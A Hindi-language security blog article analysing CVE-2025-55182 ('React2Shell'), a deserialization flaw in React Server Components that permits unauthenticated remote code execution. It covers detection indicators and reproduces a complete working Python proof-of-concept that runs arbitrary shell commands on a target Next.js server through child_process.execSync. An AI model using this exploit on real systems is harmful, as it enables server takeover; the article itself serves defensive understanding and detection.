
React2Shell, CVE-2025-55182, RCE भेद्यता: React सर्वर घटकों में असुरक्षित डिसीरियलाइज़ेशन दोष का एक गंभीर विश्लेषण जो डिफ़ॉल्ट React/Next.js सेटअप में अप्रमाणित रिमोट कोड निष्पादन को सक्षम करता है।
React2Shell (CVE-2025-55182) React 19.x और Next.js जैसे फ्रेमवर्क में React Server Components (RSC) को प्रभावित करने वाली एक गंभीर Remote Code Execution (RCE) भेद्यता है। यह दोष "Flight" प्रोटोकॉल चंक्स के असुरक्षित deserialization में निहित है, जो हमलावरों को दुर्भावनापूर्ण संरचनाओं को इंजेक्ट करने की अनुमति देता है जो Function constructor में हल हो जाती हैं, जिसके परिणामस्वरूप सर्वर पर मनमाना JavaScript निष्पादन होता है।
React Server Components को अधिक सहज, रचनात्मक वर्कफ़्लो के साथ क्लाइंट/सर्वर रेंडरिंग को जोड़ने के लिए पेश किया गया था। ऐसा करने के लिए, React एक कस्टम बाइनरी-जैसी सीरियलाइज़ेशन चैनल का उपयोग करता है जिसे Flight प्रोटोकॉल कहा जाता है।
दुर्भाग्य से, इस प्रोटोकॉल के deserialization तर्क में एक सूक्ष्म दोष था जिसने हमलावरों को React के रनटाइम में गहराई तक दुर्भावनापूर्ण पेलोड घुसाने की अनुमति दी।
परिणाम? एक पूर्ण, अप्रमाणित remote code execution श्रृंखला, जिसे अब React2Shell नाम दिया गया है — और हाँ, इसका प्रभाव पैमाने और पहुँच में Log4Shell के बराबर है। 🔥
यह लेख भेद्यता को एक साफ, कार्रवाई योग्य प्रारूप में तोड़ता है — VAPT चिकित्सकों, शोधकर्ताओं और रक्षकों के लिए आदर्श।
RSC क्लाइंट के साथ सीरियलाइज़्ड "चंक्स" भेजकर संचार करता है जो संदर्भों, वस्तुओं, घटक मेटाडेटा, एसिंक्रोनस सीमाओं आदि का प्रतिनिधित्व करते हैं।
जब ये चंक्स सर्वर या क्लाइंट पर पहुँचते हैं, React उन्हें वापस ऑब्जेक्ट और फ़ंक्शन में deserialize करता है।
यह प्रक्रिया डेटा संरचना को सुरक्षित मानती है। यहीं पर चीज़ें टूट गईं।
हमलावरों ने दुर्भावनापूर्ण चंक्स बनाने का एक तरीका खोजा जिसमें शामिल हैं:
thenables)उदाहरण पैटर्न:
"$then": { "constructor": { "prototype": null } }
Deserialization के दौरान, React इस ऑब्जेक्ट को एक thenable के रूप में व्याख्या करता है और कॉल करता है:
promise.then(...)
लेकिन यहाँ, then वास्तव में Function constructor है, इसलिए कॉल बन जाती है:
(new Function("malicious_payload"))();
इसके परिणामस्वरूप React Server Components चलाने वाले Node.js वातावरण में मनमाना JavaScript निष्पादन होता है।
बूम — आपके पास RCE है।
यही कारण है कि क्लाउड विक्रेताओं, सुरक्षा टीमों और CERTs ने सार्वजनिक होने पर तुरंत प्रतिक्रिया दी।
इनके लिए मल्टीपार्ट POST अनुरोध:
/react/rsc/server, /flight, /server-actionsइन कुंजियों वाले पेलोड:
$then$proto$constructor$typeसंदिग्ध Node.js निष्पादन जैसे:
node -e "<payload>"
इसके अंतर्गत अप्रत्याशित फ़ाइलें:
/tmp/react-rce-*/var/tmp/node-rce-*⚠️ महत्वपूर्ण नोट
मैं नहीं इस PoC का मालिक हूँ।
इसे निम्नलिखित सार्वजनिक रिपॉजिटरी से संदर्भित किया गया है, जिसका पूरा श्रेय लेखक को है:
👉 https://github.com/msanft/CVE-2025-55182
निम्नलिखित Proof-of-Concept (PoC) केवल शैक्षिक और रक्षात्मक साइबर सुरक्षा अनुसंधान के लिए प्रदान किया गया है।
इसे केवल पृथक प्रयोगशाला वातावरण या उन प्रणालियों पर निष्पादित किया जाना चाहिए जहाँ आपके पास परीक्षण करने के लिए स्पष्ट प्राधिकरण है।
अनधिकृत पहुँच, शोषण या सिस्टम समझौते के लिए इस कोड का दुरुपयोग अवैध, अनैतिक और साइबर सुरक्षा कानूनों के तहत दंडनीय है।
जिम्मेदारी से आगे बढ़ें। 🛡️💻
नीचे पूरा PoC है:
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
यदि आपने इस PoC को निष्पादित किया, तो सुनिश्चित करें कि आपने इसे नियंत्रित सैंडबॉक्स में किया न कि किसी उत्पादन या तृतीय-पक्ष संपत्ति पर।
यह प्रदर्शन केवल विश्लेषकों, डेवलपर्स और रक्षकों को CVE-2025-55182 (React2Shell) को समझने, पता लगाने और कम करने में मदद करने के लिए मौजूद है।
इस जानकारी का कोई भी दुर्भावनापूर्ण या अनधिकृत उपयोग सख्ती से प्रतिबंधित है और लेखक द्वारा समर्थित नहीं है।
नैतिक रहें। सुरक्षित रहें। 🐉🔥
React2Shell एक शक्तिशाली अनुस्मारक है कि सीरियलाइज़ेशन परतें, चाहे कितनी भी सुंदर क्यों न हों, आधुनिक फ्रेमवर्क में सबसे खतरनाक घटकों में से एक बनी हुई हैं। जिस पल मनमानी वस्तुएँ बिना सत्यापन के रनटाइम को छूती हैं, RCE की श्रृंखला दर्दनाक रूप से छोटी हो जाती है।
पढ़ने के लिए धन्यवाद — और हमेशा की तरह, नैतिक रूप से हैक करते रहें, लगातार सीखते रहें, और उस सुरक्षा की आग को जलते रखें। 🔥🐉
यदि आपको यह लेख पसंद आया या आप मेरे साइबर सुरक्षा अनुसंधान से जुड़े रहना चाहते हैं:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010